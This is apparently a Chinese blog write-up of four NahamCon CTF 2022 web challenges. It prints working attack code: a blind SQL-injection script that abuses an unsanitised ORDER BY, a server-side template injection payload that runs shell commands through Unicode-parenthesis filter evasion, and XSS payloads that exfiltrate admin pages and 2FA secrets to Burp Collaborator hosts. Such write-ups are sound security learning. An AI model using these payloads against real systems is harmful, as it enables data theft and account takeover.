NahamCon CTF 2022

Flask Metal Alchemist

没有回显,没有报错,只有金属元素的排序,那么我们是否可以通过判断金属元素的排序是否正确来进行布尔盲注。

从app.py中可以看出有两个功能,search和order,且它只过滤了金属名字,并没有过滤order名字。

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
        else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
    else:
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)

database.py,正在使用sqlite数据库。

from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base

engine = create_engine("sqlite:tmp/test.db")
db_session = scoped_session(
    sessionmaker(autocommit=False, autoflush=False, bind=engine)
)
Base = declarative_base()
Base.query = db_session.query_property()


def init_db():
    Base.metadata.create_all(bind=engine)

models.py中有两个,一个是metal,还有一个flag表,

from database import Base
from sqlalchemy import Column, Integer, String


class Metal(Base):
    __tablename__ = "metals"
    atomic_number = Column(Integer, primary_key=True)
    symbol = Column(String(3), unique=True, nullable=False)
    name = Column(String(40), unique=True, nullable=False)

    def __init__(self, atomic_number=None, symbol=None, name=None):
        self.atomic_number = atomic_number
        self.symbol = symbol
        self.name = name


class Flag(Base):
    __tablename__ = "flag"
    flag = Column(String(40), primary_key=True)

    def __init__(self, flag=None):
        self.flag = flag

真正要关注的是app.py中的,只对search进行了保护,但是没有对order_by保护,那么我们可以通过排列顺序来进行盲注。

metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
from requests import post
from string import ascii_lowercase

URL = 'http://challenge.nahamcon.com:32693/'
ALPHABET = ascii_lowercase + '{}_'
INJECTION = "CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='{}' THEN atomic_number ELSE symbol END"
#类似于if else,如果flag匹配到,则把顺序换为原子序数.

flag = ''
index = 1
while True:
    for char in ALPHABET:
        response = post(URL, data={ 'search': '', 'order': INJECTION.format(index, char) })
        # 第一个原子符号出现在响应的索引 74 上(由换行符分割)。
        # 如果是 Li(原子序数为 3),那么我们按原子序数排序。
        first_atomic_symbol = response.text.split('\n')[74]
        if 'Li' in first_atomic_symbol:
            flag += char
            index += 1
            break
    print(flag)
    if flag[-1] == '}':
        break

在这里插入图片描述

Hacker Ts

我们输入的东西都会在衬衫上显示,那么输入一些标签呢。

例如输出如下标签,则会在衬衫上显示文本
<span>s</span>

在这里插入图片描述
且题目有个/admin页面,提示我们要以本地页面访问这个页面。
在这里插入图片描述

当输入<script>fetch("http://xxxx/xxxx")</script>,报错还告诉我们了处理的方法为wkhtmltoimage,它是专门将 HTML 呈现为 PDF/图像的工具。

在这里插入图片描述
还有一种AJAX代表“异步 JavaScript 和 XML”,是一种技术的名称,它允许网页在后台发出请求,而不会干扰当前页面的显示。在 JavaScript 中,可以使用XMLHttpRequest对象发出异步请求,并且实际上有能力处理响应文本本身。(有点像 Python 请求的处理方式)。

<div id='stuff'>a</div>
<script>
	x = new XMLHttpRequest(); 
	x.open('GET','http://localhost:5000/admin',false); 
	x.send(); 
	document.getElementById('stuff').innerHTML= x.responseText; 
</script>

在这里插入图片描述
也可以通过Burp Collaborator来获取内容

<script> 	x = new XMLHttpRequest();  	x.open('GET','http://localhost:5000/admin',false);  	x.send(); y = new XMLHttpRequest();  	y.open('GET', 'http://xjkad81ctlz6dyxen1icn1yt3k9ex3.burpcollaborator.net/request?q=' + btoa(x.responseText));  	y.send(); </script>

再base64解码一下。
在这里插入图片描述

Deafcon

当我们输入

jack
{{1+1}}@gamil.com

可以发现是模板注入。
在这里插入图片描述
在测试测试看是哪个模板,可以看到是flask模板。

jack
"{{g.pop}}"@gamil.com

在这里插入图片描述

用hackbar自带的flask-ssti链子看能不能rce

jack
"{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat flag.txt').read()}}"@gamil.com

它提示在电子邮件中不能有(和),还说允许在正则表达式中验证电子邮件,
在这里插入图片描述
这边看了其他大佬的wp,学到了一种新姿势,用high-unicode绕过,且仅当 @ 左侧的部分被双引号包围时,电子邮件语法检查器才允许某些字符。

jack
"{{g.pop.__globals__.__builtins__['__import__']﹙'os'﹚.popen﹙'cat flag.txt'﹚.read﹙﹚}}"@gamil.com

在这里插入图片描述

Two For One

先注册一个账户,然后用Google Authenticator,扫二维码,这个类似于密钥,不过这个是实时刷新的。
在这里插入图片描述
使用 Burp Collaborator 确认在feedback处存在XSS 错误:

<script>
document.location="http://i4nbpco2qfhyjfasips75ju9o0uvik.burpcollaborator.net";
</script>

存在xss
在这里插入图片描述

创建新的秘密,可以看到是从id=3的位置开始的,那么flag因该就是在1号或者二号位置上。
在这里插入图片描述
那么现在就是要用管理员的otp来访问1、2号位置的秘密。
在setting位置有重置otp的功能,那么我们可以通过xss来重置管理员的otp。

且这边的2fa是需要我们自己扫码的,那么我们可以劫持令牌,发送到我们的服务器上。
在这里插入图片描述

<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
  document.location="http://9oy2938ta61p36uj2gcypae08ren2c.burpcollaborator.net?otp="+this.responseText;
}
xhttp.open("POST", "http://challenge.nahamcon.com:31423/reset2fa");
xhttp.send();
</script>

可以看到一串json格式的代码,通过otpauth来生成二维码来重置。
在这里插入图片描述

qrencode 'otpauth://totp/Fort%20Knox:admin?secret=FYLRNM4LOZBXO66S' -o qr.png

用authenticator扫码登录

<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
  document.location="http://9oy2938ta61p36uj2gcypae08ren2c.burpcollaborator.net?flag="+this.responseText;
}
var json = {"otp":"209405","secretId":"1"};
xhttp.open("POST", "http://challenge.nahamcon.com:31423/show_secret");
xhttp.setRequestHeader('Content-Type', 'application/json');
xhttp.send(JSON.stringify(json));
</script>

得到flag
在这里插入图片描述

参考:

wp1
wp2
wp3
wp4

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值